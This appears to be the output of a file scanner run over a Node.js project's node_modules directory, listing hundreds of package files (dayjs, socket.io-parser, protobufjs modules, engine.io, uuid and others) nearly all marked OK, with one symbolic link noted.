+/scan/node_modules/dayjs/plugin/objectSupport.js: OK
+/scan/node_modules/dayjs/plugin/isMoment.js: OK
+/scan/node_modules/dayjs/plugin/isSameOrAfter.d.ts: OK
+/scan/node_modules/dayjs/plugin/duration.d.ts: OK
+/scan/node_modules/dayjs/plugin/toArray.d.ts: OK
+/scan/node_modules/dayjs/plugin/toObject.js: OK
+/scan/node_modules/dayjs/plugin/devHelper.js: OK
+/scan/node_modules/dayjs/plugin/isTomorrow.d.ts: OK
+/scan/node_modules/dayjs/plugin/quarterOfYear.js: OK
+/scan/node_modules/dayjs/plugin/minMax.js: OK
+/scan/node_modules/dayjs/plugin/pluralGetSet.d.ts: OK
+/scan/node_modules/dayjs/plugin/devHelper.d.ts: OK
+/scan/node_modules/dayjs/plugin/badMutable.js: OK
+/scan/node_modules/dayjs/plugin/preParsePostFormat.js: OK
+/scan/node_modules/dayjs/locale.json: OK
+/scan/node_modules/dayjs/.editorconfig: OK
+/scan/node_modules/dayjs/README.md: OK
+/scan/node_modules/dayjs/dayjs.min.js: OK
+/scan/node_modules/dayjs/package.json: OK
+/scan/node_modules/dayjs/index.d.ts: OK
+/scan/node_modules/socket.io-parser/LICENSE: OK
+/scan/node_modules/socket.io-parser/Readme.md: OK
+/scan/node_modules/socket.io-parser/package.json: OK
+/scan/node_modules/socket.io-parser/build/esm-debug/is-binary.js: OK
+/scan/node_modules/socket.io-parser/build/esm-debug/binary.js: OK
+/scan/node_modules/socket.io-parser/build/esm-debug/index.js: OK
+/scan/node_modules/socket.io-parser/build/esm-debug/package.json: OK
+/scan/node_modules/socket.io-parser/build/esm-debug/is-binary.d.ts: OK
+/scan/node_modules/socket.io-parser/build/esm-debug/index.d.ts: OK
+/scan/node_modules/socket.io-parser/build/esm-debug/binary.d.ts: OK
+/scan/node_modules/socket.io-parser/build/esm/is-binary.js: OK
+/scan/node_modules/socket.io-parser/build/esm/binary.js: OK
+/scan/node_modules/socket.io-parser/build/esm/index.js: OK
+/scan/node_modules/socket.io-parser/build/esm/package.json: OK
+/scan/node_modules/socket.io-parser/build/esm/is-binary.d.ts: OK
+/scan/node_modules/socket.io-parser/build/esm/index.d.ts: OK
+/scan/node_modules/socket.io-parser/build/esm/binary.d.ts: OK
+/scan/node_modules/socket.io-parser/build/cjs/is-binary.js: OK
+/scan/node_modules/socket.io-parser/build/cjs/binary.js: OK
+/scan/node_modules/socket.io-parser/build/cjs/index.js: OK
+/scan/node_modules/socket.io-parser/build/cjs/package.json: OK
+/scan/node_modules/socket.io-parser/build/cjs/is-binary.d.ts: OK
+/scan/node_modules/socket.io-parser/build/cjs/index.d.ts: OK
+/scan/node_modules/socket.io-parser/build/cjs/binary.d.ts: OK
+/scan/node_modules/source-map/LICENSE: OK
+/scan/node_modules/source-map/CHANGELOG.md: OK
+/scan/node_modules/source-map/dist/source-map.min.js.map: OK
+/scan/node_modules/source-map/dist/source-map.debug.js: OK
+/scan/node_modules/source-map/dist/source-map.js: OK
+/scan/node_modules/source-map/dist/source-map.min.js: OK
+/scan/node_modules/source-map/README.md: OK
+/scan/node_modules/source-map/package.json: OK
+/scan/node_modules/source-map/source-map.js: OK
+/scan/node_modules/source-map/lib/source-map-consumer.js: OK
+/scan/node_modules/source-map/lib/quick-sort.js: OK
+/scan/node_modules/source-map/lib/util.js: OK
+/scan/node_modules/source-map/lib/base64-vlq.js: OK
+/scan/node_modules/source-map/lib/mapping-list.js: OK
+/scan/node_modules/source-map/lib/binary-search.js: OK
+/scan/node_modules/source-map/lib/base64.js: OK
+/scan/node_modules/source-map/lib/array-set.js: OK
+/scan/node_modules/source-map/lib/source-node.js: OK
+/scan/node_modules/source-map/lib/source-map-generator.js: OK
+/scan/node_modules/source-map/source-map.d.ts: OK
+/scan/node_modules/didyoumean/didYouMean-1.2.1.min.js: OK
+/scan/node_modules/didyoumean/LICENSE: OK
+/scan/node_modules/didyoumean/README.md: OK
+/scan/node_modules/didyoumean/package.json: OK
+/scan/node_modules/didyoumean/didYouMean-1.2.1.js: OK
+/scan/node_modules/lodash.isarguments/LICENSE: OK
+/scan/node_modules/lodash.isarguments/index.js: OK
+/scan/node_modules/lodash.isarguments/README.md: OK
+/scan/node_modules/lodash.isarguments/package.json: OK
+/scan/node_modules/pretty-format/LICENSE: OK
+/scan/node_modules/pretty-format/node_modules/react-is/LICENSE: OK
+/scan/node_modules/pretty-format/node_modules/react-is/umd/react-is.development.js: OK
+/scan/node_modules/pretty-format/node_modules/react-is/umd/react-is.production.min.js: OK
+/scan/node_modules/pretty-format/node_modules/react-is/index.js: OK
+/scan/node_modules/pretty-format/node_modules/react-is/README.md: OK
+/scan/node_modules/pretty-format/node_modules/react-is/package.json: OK
+/scan/node_modules/pretty-format/node_modules/react-is/cjs/react-is.development.js: OK
+/scan/node_modules/pretty-format/node_modules/react-is/cjs/react-is.production.min.js: OK
+/scan/node_modules/pretty-format/node_modules/ansi-styles/license: OK
+/scan/node_modules/pretty-format/node_modules/ansi-styles/index.js: OK
+/scan/node_modules/pretty-format/node_modules/ansi-styles/readme.md: OK
+/scan/node_modules/pretty-format/node_modules/ansi-styles/package.json: OK
+/scan/node_modules/pretty-format/node_modules/ansi-styles/index.d.ts: OK
+/scan/node_modules/pretty-format/README.md: OK
+/scan/node_modules/pretty-format/package.json: OK
+/scan/node_modules/pretty-format/build/types.js: OK
+/scan/node_modules/pretty-format/build/plugins/ReactTestComponent.js: OK
+/scan/node_modules/pretty-format/build/plugins/ReactElement.js: OK
+/scan/node_modules/pretty-format/build/plugins/DOMCollection.js: OK
+/scan/node_modules/pretty-format/build/plugins/Immutable.js: OK
+/scan/node_modules/pretty-format/build/plugins/AsymmetricMatcher.js: OK
+/scan/node_modules/pretty-format/build/plugins/DOMElement.js: OK
+/scan/node_modules/pretty-format/build/plugins/lib/markup.js: OK
+/scan/node_modules/pretty-format/build/plugins/lib/escapeHTML.js: OK
+/scan/node_modules/pretty-format/build/index.js: OK
+/scan/node_modules/pretty-format/build/collections.js: OK
+/scan/node_modules/pretty-format/build/index.d.ts: OK
+/scan/node_modules/@next/env/dist/index.js: OK
+/scan/node_modules/@next/env/dist/index.d.ts: OK
+/scan/node_modules/@next/env/README.md: OK
+/scan/node_modules/@next/env/package.json: OK
+/scan/node_modules/@next/swc-darwin-arm64/README.md: OK
+/scan/node_modules/@next/swc-darwin-arm64/next-swc.darwin-arm64.node: OK
+/scan/node_modules/@next/swc-darwin-arm64/package.json: OK
+/scan/node_modules/fast-equals/LICENSE: OK
+/scan/node_modules/fast-equals/dist/umd/comparator.d.ts: OK
+/scan/node_modules/fast-equals/dist/umd/equals.d.ts: OK
+/scan/node_modules/fast-equals/dist/umd/index.js: OK
+/scan/node_modules/fast-equals/dist/umd/utils.d.ts: OK
+/scan/node_modules/fast-equals/dist/umd/index.js.map: OK
+/scan/node_modules/fast-equals/dist/umd/index.d.ts: OK
+/scan/node_modules/fast-equals/dist/umd/internalTypes.d.ts: OK
+/scan/node_modules/fast-equals/dist/es/index.d.mts: OK
+/scan/node_modules/fast-equals/dist/es/comparator.d.mts: OK
+/scan/node_modules/fast-equals/dist/es/index.mjs.map: OK
+/scan/node_modules/fast-equals/dist/es/index.mjs: OK
+/scan/node_modules/fast-equals/dist/es/utils.d.mts: OK
+/scan/node_modules/fast-equals/dist/es/equals.d.mts: OK
+/scan/node_modules/fast-equals/dist/es/internalTypes.d.mts: OK
+/scan/node_modules/fast-equals/dist/cjs/index.d.cts: OK
+/scan/node_modules/fast-equals/dist/cjs/comparator.d.cts: OK
+/scan/node_modules/fast-equals/dist/cjs/index.cjs.map: OK
+/scan/node_modules/fast-equals/dist/cjs/utils.d.cts: OK
+/scan/node_modules/fast-equals/dist/cjs/index.cjs: OK
+/scan/node_modules/fast-equals/dist/cjs/equals.d.cts: OK
+/scan/node_modules/fast-equals/dist/cjs/internalTypes.d.cts: OK
+/scan/node_modules/fast-equals/README.md: OK
+/scan/node_modules/fast-equals/package.json: OK
+/scan/node_modules/fast-equals/index.d.ts: OK
+/scan/node_modules/proto3-json-serializer/LICENSE: OK
+/scan/node_modules/proto3-json-serializer/CHANGELOG.md: OK
+/scan/node_modules/proto3-json-serializer/README.md: OK
+/scan/node_modules/proto3-json-serializer/package.json: OK
+/scan/node_modules/proto3-json-serializer/build/src/duration.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/fromproto3json.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/fieldmask.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/util.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/timestamp.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/value.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/types.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/types.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/wrappers.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/util.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/value.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/types.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/fromproto3json.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/duration.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/enum.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/fromproto3json.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/index.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/toproto3json.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/fieldmask.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/bytes.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/any.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/timestamp.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/enum.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/value.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/any.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/enum.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/bytes.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/index.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/toproto3json.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/wrappers.js: OK
+/scan/node_modules/proto3-json-serializer/build/src/timestamp.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/bytes.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/util.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/index.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/duration.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/wrappers.js.map: OK
+/scan/node_modules/proto3-json-serializer/build/src/any.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/toproto3json.d.ts: OK
+/scan/node_modules/proto3-json-serializer/build/src/fieldmask.d.ts: OK
+/scan/node_modules/@protobufjs/inquire/LICENSE: OK
+/scan/node_modules/@protobufjs/inquire/tests/index.js: OK
+/scan/node_modules/@protobufjs/inquire/tests/data/emptyObject.js: OK
+/scan/node_modules/@protobufjs/inquire/tests/data/emptyArray.js: OK
+/scan/node_modules/@protobufjs/inquire/tests/data/object.js: OK
+/scan/node_modules/@protobufjs/inquire/tests/data/array.js: OK
+/scan/node_modules/@protobufjs/inquire/index.js: OK
+/scan/node_modules/@protobufjs/inquire/README.md: OK
+/scan/node_modules/@protobufjs/inquire/package.json: OK
+/scan/node_modules/@protobufjs/inquire/index.d.ts: OK
+/scan/node_modules/@protobufjs/utf8/LICENSE: OK
+/scan/node_modules/@protobufjs/utf8/tests/index.js: OK
+/scan/node_modules/@protobufjs/utf8/tests/data/utf8.txt: OK
+/scan/node_modules/@protobufjs/utf8/tests/data/surrogate_pair_bug.txt: OK
+/scan/node_modules/@protobufjs/utf8/index.js: OK
+/scan/node_modules/@protobufjs/utf8/README.md: OK
+/scan/node_modules/@protobufjs/utf8/package.json: OK
+/scan/node_modules/@protobufjs/utf8/index.d.ts: OK
+/scan/node_modules/@protobufjs/path/LICENSE: OK
+/scan/node_modules/@protobufjs/path/tests/index.js: OK
+/scan/node_modules/@protobufjs/path/index.js: OK
+/scan/node_modules/@protobufjs/path/README.md: OK
+/scan/node_modules/@protobufjs/path/package.json: OK
+/scan/node_modules/@protobufjs/path/index.d.ts: OK
+/scan/node_modules/@protobufjs/base64/LICENSE: OK
+/scan/node_modules/@protobufjs/base64/tests/index.js: OK
+/scan/node_modules/@protobufjs/base64/index.js: OK
+/scan/node_modules/@protobufjs/base64/README.md: OK
+/scan/node_modules/@protobufjs/base64/package.json: OK
+/scan/node_modules/@protobufjs/base64/index.d.ts: OK
+/scan/node_modules/@protobufjs/codegen/LICENSE: OK
+/scan/node_modules/@protobufjs/codegen/tests/index.js: OK
+/scan/node_modules/@protobufjs/codegen/index.js: OK
+/scan/node_modules/@protobufjs/codegen/README.md: OK
+/scan/node_modules/@protobufjs/codegen/package.json: OK
+/scan/node_modules/@protobufjs/codegen/index.d.ts: OK
+/scan/node_modules/@protobufjs/fetch/LICENSE: OK
+/scan/node_modules/@protobufjs/fetch/tests/index.js: OK
+/scan/node_modules/@protobufjs/fetch/index.js: OK
+/scan/node_modules/@protobufjs/fetch/README.md: OK
+/scan/node_modules/@protobufjs/fetch/package.json: OK
+/scan/node_modules/@protobufjs/fetch/index.d.ts: OK
+/scan/node_modules/@protobufjs/float/bench/index.js: OK
+/scan/node_modules/@protobufjs/float/bench/suite.js: OK
+/scan/node_modules/@protobufjs/float/LICENSE: OK
+/scan/node_modules/@protobufjs/float/tests/index.js: OK
+/scan/node_modules/@protobufjs/float/index.js: OK
+/scan/node_modules/@protobufjs/float/README.md: OK
+/scan/node_modules/@protobufjs/float/package.json: OK
+/scan/node_modules/@protobufjs/float/index.d.ts: OK
+/scan/node_modules/@protobufjs/aspromise/LICENSE: OK
+/scan/node_modules/@protobufjs/aspromise/tests/index.js: OK
+/scan/node_modules/@protobufjs/aspromise/index.js: OK
+/scan/node_modules/@protobufjs/aspromise/README.md: OK
+/scan/node_modules/@protobufjs/aspromise/package.json: OK
+/scan/node_modules/@protobufjs/aspromise/index.d.ts: OK
+/scan/node_modules/@protobufjs/pool/.npmignore: OK
+/scan/node_modules/@protobufjs/pool/LICENSE: OK
+/scan/node_modules/@protobufjs/pool/tests/index.js: OK
+/scan/node_modules/@protobufjs/pool/index.js: OK
+/scan/node_modules/@protobufjs/pool/README.md: OK
+/scan/node_modules/@protobufjs/pool/package.json: OK
+/scan/node_modules/@protobufjs/pool/index.d.ts: OK
+/scan/node_modules/@protobufjs/eventemitter/LICENSE: OK
+/scan/node_modules/@protobufjs/eventemitter/tests/index.js: OK
+/scan/node_modules/@protobufjs/eventemitter/index.js: OK
+/scan/node_modules/@protobufjs/eventemitter/README.md: OK
+/scan/node_modules/@protobufjs/eventemitter/package.json: OK
+/scan/node_modules/@protobufjs/eventemitter/index.d.ts: OK
+/scan/node_modules/async-retry/LICENSE.md: OK
+/scan/node_modules/async-retry/README.md: OK
+/scan/node_modules/async-retry/package.json: OK
+/scan/node_modules/async-retry/lib/index.js: OK
+/scan/node_modules/base64id/LICENSE: OK
+/scan/node_modules/base64id/CHANGELOG.md: OK
+/scan/node_modules/base64id/README.md: OK
+/scan/node_modules/base64id/package.json: OK
+/scan/node_modules/base64id/lib/base64id.js: OK
+/scan/node_modules/gopd/gOPD.js: OK
+/scan/node_modules/gopd/LICENSE: OK
+/scan/node_modules/gopd/test/index.js: OK
+/scan/node_modules/gopd/CHANGELOG.md: OK
+/scan/node_modules/gopd/.eslintrc: OK
+/scan/node_modules/gopd/index.js: OK
+/scan/node_modules/gopd/gOPD.d.ts: OK
+/scan/node_modules/gopd/README.md: OK
+/scan/node_modules/gopd/package.json: OK
+/scan/node_modules/gopd/.github/FUNDING.yml: OK
+/scan/node_modules/gopd/tsconfig.json: OK
+/scan/node_modules/gopd/index.d.ts: OK
+/scan/node_modules/busboy/bench/bench-multipart-files-100mb-small.js: OK
+/scan/node_modules/busboy/bench/bench-urlencoded-fields-900pairs-small-alt.js: OK
+/scan/node_modules/busboy/bench/bench-multipart-fields-100mb-big.js: OK
+/scan/node_modules/busboy/bench/bench-urlencoded-fields-100pairs-small.js: OK
+/scan/node_modules/busboy/bench/bench-multipart-files-100mb-big.js: OK
+/scan/node_modules/busboy/bench/bench-multipart-fields-100mb-small.js: OK
+/scan/node_modules/busboy/LICENSE: OK
+/scan/node_modules/busboy/test/test.js: OK
+/scan/node_modules/busboy/test/test-types-multipart.js: OK
+/scan/node_modules/busboy/test/test-types-multipart-stream-pause.js: OK
+/scan/node_modules/busboy/test/common.js: OK
+/scan/node_modules/busboy/test/test-types-urlencoded.js: OK
+/scan/node_modules/busboy/test/test-types-multipart-charsets.js: OK
+/scan/node_modules/busboy/README.md: OK
+/scan/node_modules/busboy/package.json: OK
+/scan/node_modules/busboy/.github/workflows/lint.yml: OK
+/scan/node_modules/busboy/.github/workflows/ci.yml: OK
+/scan/node_modules/busboy/.eslintrc.js: OK
+/scan/node_modules/busboy/lib/types/multipart.js: OK
+/scan/node_modules/busboy/lib/types/urlencoded.js: OK
+/scan/node_modules/busboy/lib/index.js: OK
+/scan/node_modules/busboy/lib/utils.js: OK
+/scan/node_modules/teeny-request/LICENSE: OK
+/scan/node_modules/teeny-request/CHANGELOG.md: OK
+/scan/node_modules/teeny-request/node_modules/.bin/uuid: Symbolic link
+/scan/node_modules/teeny-request/node_modules/agent-base/dist/src/promisify.d.ts: OK
+/scan/node_modules/teeny-request/node_modules/agent-base/dist/src/index.js: OK
+/scan/node_modules/teeny-request/node_modules/agent-base/dist/src/promisify.js.map: OK
+/scan/node_modules/teeny-request/node_modules/agent-base/dist/src/index.js.map: OK
+/scan/node_modules/teeny-request/node_modules/agent-base/dist/src/index.d.ts: OK
+/scan/node_modules/teeny-request/node_modules/agent-base/dist/src/promisify.js: OK
+/scan/node_modules/teeny-request/node_modules/agent-base/README.md: OK
+/scan/node_modules/teeny-request/node_modules/agent-base/package.json: OK
+/scan/node_modules/teeny-request/node_modules/agent-base/src/promisify.ts: OK
+/scan/node_modules/teeny-request/node_modules/agent-base/src/index.ts: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/dist/agent.js.map: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/dist/index.js: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/dist/agent.d.ts: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/dist/parse-proxy-response.js: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/dist/index.js.map: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/dist/parse-proxy-response.js.map: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/dist/parse-proxy-response.d.ts: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/dist/index.d.ts: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/dist/agent.js: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/README.md: OK
+/scan/node_modules/teeny-request/node_modules/https-proxy-agent/package.json: OK
+/scan/node_modules/teeny-request/node_modules/uuid/LICENSE.md: OK
+/scan/node_modules/teeny-request/node_modules/uuid/CHANGELOG.md: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/sha1.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/stringify.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/rng.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/sha1-browser.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/md5-browser.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/native.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/bin/uuid: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/v4.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/v1.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/index.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/v5.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/v35.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/version.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/parse.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/sha1.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/stringify.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/rng.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/native.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/v4.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/v1.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/index.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/v5.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/v35.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/version.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/parse.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/md5.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/v3.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/regex.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/validate.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-browser/nil.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/uuid-bin.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/md5.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/v3.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/regex.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/native-browser.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/sha1.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/stringify.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/rng.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/native.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/v4.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/v1.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/index.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/v5.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/v35.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/version.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/parse.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/md5.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/v3.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/regex.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/validate.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/esm-node/nil.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/sha1.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/stringify.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/rng.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/native.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/v4.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/v1.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/index.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/v5.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/v35.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/version.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/parse.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/md5.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/v3.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/regex.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/validate.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/commonjs-browser/nil.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/rng-browser.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/validate.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/dist/nil.js: OK
+/scan/node_modules/teeny-request/node_modules/uuid/wrapper.mjs: OK
+/scan/node_modules/teeny-request/node_modules/uuid/README.md: OK
+/scan/node_modules/teeny-request/node_modules/uuid/package.json: OK
+/scan/node_modules/teeny-request/node_modules/uuid/CONTRIBUTING.md: OK
+/scan/node_modules/teeny-request/README.md: OK
+/scan/node_modules/teeny-request/package.json: OK
+/scan/node_modules/teeny-request/build/src/agents.js: OK
+/scan/node_modules/teeny-request/build/src/agents.js.map: OK
+/scan/node_modules/teeny-request/build/src/TeenyStatistics.js.map: OK
+/scan/node_modules/teeny-request/build/src/TeenyStatistics.d.ts: OK
+/scan/node_modules/teeny-request/build/src/index.js: OK
+/scan/node_modules/teeny-request/build/src/agents.d.ts: OK
+/scan/node_modules/teeny-request/build/src/index.js.map: OK
+/scan/node_modules/teeny-request/build/src/TeenyStatistics.js: OK
+/scan/node_modules/teeny-request/build/src/index.d.ts: OK
+/scan/node_modules/escape-html/LICENSE: OK
+/scan/node_modules/escape-html/index.js: OK
+/scan/node_modules/escape-html/Readme.md: OK
+/scan/node_modules/escape-html/package.json: OK
+/scan/node_modules/engine.io/LICENSE: OK
+/scan/node_modules/engine.io/node_modules/cookie/LICENSE: OK
+/scan/node_modules/engine.io/node_modules/cookie/index.js: OK
+/scan/node_modules/engine.io/node_modules/cookie/README.md: OK
+/scan/node_modules/engine.io/node_modules/cookie/package.json: OK
+/scan/node_modules/engine.io/node_modules/cookie/SECURITY.md: OK
+/scan/node_modules/engine.io/wrapper.mjs: OK
+/scan/node_modules/engine.io/README.md: OK
+/scan/node_modules/engine.io/package.json: OK
+/scan/node_modules/engine.io/build/server.d.ts: OK
+/scan/node_modules/engine.io/build/userver.d.ts: OK
+/scan/node_modules/engine.io/build/socket.d.ts: OK
+/scan/node_modules/engine.io/build/server.js: OK
+/scan/node_modules/engine.io/build/parser-v3/utf8.js: OK
+/scan/node_modules/engine.io/build/parser-v3/index.js: OK
+/scan/node_modules/engine.io/build/parser-v3/utf8.d.ts: OK
+/scan/node_modules/engine.io/build/parser-v3/index.d.ts: OK
+/scan/node_modules/engine.io/build/transports/webtransport.js: OK
+/scan/node_modules/engine.io/build/transports/polling.d.ts: OK
+/scan/node_modules/engine.io/build/transports/websocket.d.ts: OK
+/scan/node_modules/engine.io/build/transports/polling-jsonp.js: OK
+/scan/node_modules/engine.io/build/transports/webtransport.d.ts: OK
+/scan/node_modules/engine.io/build/transports/index.js: OK
+/scan/node_modules/engine.io/build/transports/polling.js: OK
+/scan/node_modules/engine.io/build/transports/websocket.js: OK
+/scan/node_modules/engine.io/build/transports/index.d.ts: OK
+/scan/node_modules/engine.io/build/transports/polling-jsonp.d.ts: OK
+/scan/node_modules/engine.io/build/transport.js: OK
+/scan/node_modules/engine.io/build/transports-uws/polling.d.ts: OK
+/scan/node_modules/engine.io/build/transports-uws/websocket.d.ts: OK
+/scan/node_modules/engine.io/build/transports-uws/index.js: OK
+/scan/node_modules/engine.io/build/transports-uws/polling.js: OK
+/scan/node_modules/engine.io/build/transports-uws/websocket.js: OK
+/scan/node_modules/engine.io/build/transports-uws/index.d.ts: OK
+/scan/node_modules/engine.io/build/engine.io.d.ts: OK
+/scan/node_modules/engine.io/build/contrib/types.cookie.d.ts: OK
+/scan/node_modules/engine.io/build/contrib/types.cookie.js: OK
+/scan/node_modules/engine.io/build/socket.js: OK
+/scan/node_modules/engine.io/build/engine.io.js: OK
+/scan/node_modules/engine.io/build/transport.d.ts: OK
+/scan/node_modules/engine.io/build/userver.js: OK
+/scan/node_modules/why-is-node-running/LICENSE: OK
+/scan/node_modules/why-is-node-running/index.js: OK
+/scan/node_modules/why-is-node-running/README.md: OK
+/scan/node_modules/why-is-node-running/package.json: OK
+/scan/node_modules/why-is-node-running/.github/FUNDING.yml: OK
+/scan/node_modules/why-is-node-running/example.js: OK
+/scan/node_modules/why-is-node-running/cli.js: OK
+/scan/node_modules/why-is-node-running/include.js: OK
+/scan/node_modules/peberminta/LICENSE: OK
+/scan/node_modules/peberminta/CHANGELOG.md: OK
+/scan/node_modules/peberminta/README.md: OK
+/scan/node_modules/peberminta/package.json: OK
+/scan/node_modules/peberminta/lib/util.cjs: OK
+/scan/node_modules/peberminta/lib/char.cjs: OK
+/scan/node_modules/peberminta/lib/char.d.ts: OK
+/scan/node_modules/peberminta/lib/char.mjs: OK
+/scan/node_modules/peberminta/lib/util.mjs: OK
+/scan/node_modules/peberminta/lib/core.cjs: OK
+/scan/node_modules/peberminta/lib/core.mjs: OK
+/scan/node_modules/peberminta/lib/core.d.ts: OK
+/scan/node_modules/statuses/LICENSE: OK
+/scan/node_modules/statuses/HISTORY.md: OK
+/scan/node_modules/statuses/index.js: OK
+/scan/node_modules/statuses/README.md: OK
